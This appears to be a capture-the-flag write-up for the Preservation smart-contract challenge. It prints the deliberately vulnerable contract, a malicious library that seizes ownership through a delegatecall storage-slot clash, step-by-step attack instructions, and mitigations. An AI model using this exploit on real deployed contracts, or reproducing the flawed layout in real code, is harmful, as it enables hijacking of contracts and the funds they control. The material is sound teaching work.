Skip to main content

Delegatecall Storage Exploit


Challenge

Goal: Claim ownership of the Preservation contract by abusing how it uses delegatecall to external “library” contracts.

Key idea: delegatecall executes code in the caller’s storage context. If the library’s storage layout doesn’t match the caller’s, a library write can overwrite important variables (like addresses or owner). We will use that to (1) replace a library address with our malicious contract, and then (2) call into our malicious code which sets owner to the attacker address.


Vulnerable contracts

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {
// public library contracts
address public timeZone1Library; // slot 0
address public timeZone2Library; // slot 1
address public owner; // slot 2
uint256 storedTime; // slot 3

// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint256 _timeStamp) public {
// delegatecall to library - runs library code in Preservation's storage context
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp (slot 0 in library)
uint256 storedTime;

function setTime(uint256 _time) public {
storedTime = _time;
}
}

Malicious library (attack contract)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MaliciousLibrary {
// align storage with Preservation (so slot indices match)
address public timeZone1Library; // slot 0
address public timeZone2Library; // slot 1
address public owner; // slot 2
uint256 public storedTime; // slot 3

// this function will be executed in Preservation's storage via delegatecall
function setTime(uint256 _time) public {
// overwrite Preservation.owner (slot 2) with msg.sender
owner = msg.sender;
}
}

Why this works (simple)

  • delegatecall runs the code of the target contract but uses the caller’s storage.
  • LibraryContract.setTime writes _time into slot 0 (its storedTime).
  • In Preservation, slot 0 is timeZone1Library, not storedTime.
  • So calling setFirstTime(...) writes into timeZone1Library — letting us replace the library address with an address we control.
  • After we replace timeZone1Library with our malicious contract, calling setFirstTime(...) again executes MaliciousLibrary.setTime in Preservation’s storage context, which writes to slot 2 (the owner variable in Preservation) and sets it to msg.sender (the attacker).

Attack — step-by-step (very simple words)

  1. Deploy two normal library instances.

    • Deploy LibraryContract twice (call them Lib1 and Lib2).
  2. Deploy the vulnerable Preservation contract.

    • Provide Lib1.address and Lib2.address to the Preservation constructor.
    • Check owner — it should be the deployer initially.
  3. Deploy the MaliciousLibrary contract.

    • This contract's setTime will set owner = msg.sender when executed via delegatecall.
  4. Overwrite timeZone1Library in Preservation with the malicious library address.

    • Call preservation.setFirstTime(uint256(address(MaliciousLibrary))).
    • Why: When the real library's setTime writes to slot 0, it stores the numeric value you passed into timeZone1Library (slot 0 in Preservation) — thereby replacing the library address with your malicious library.
    • Practically: pass the MaliciousLibrary address as a uint (e.g., using ethers.BigNumber.from(malicious.address) in a script or paste the 0x... value into Remix — Remix accepts hex numeric inputs).
  5. Trigger the malicious code to set the owner.

    • Call preservation.setFirstTime(0) (or any number).
    • Now timeZone1Library points to your MaliciousLibrary. Preservation delegatecalls into MaliciousLibrary.setTime, and inside that function owner = msg.sender executes in Preservation’s storage — setting Preservation.owner to your EOA address (the caller).
  6. Verify success

    • Read preservation.owner() — it should now be your address.

Mitigations

  • Avoid storing externally-changeable library addresses in mutable storage (or make them immutable / constant if they truly must never change).
  • Avoid delegatecall to external contracts you cannot guaranteedelegatecall runs using your contract’s storage and can be very dangerous if the target code or storage layout is not fully trusted.
  • If delegation is required, design a fixed storage layout and strict access control (for example, restrict callers that can change library addresses — onlyOwner).
  • Use modern patterns (trusted, well-audited proxies and upgrade patterns; or embed code instead of delegating to external, mutable contracts).

Conclusion

This challenge demonstrates the crucial lesson: delegatecall preserves the caller’s storage context, and incorrect storage layout or mutable library addresses allow an attacker to overwrite important variables (like owner). Always treat delegatecall with great caution.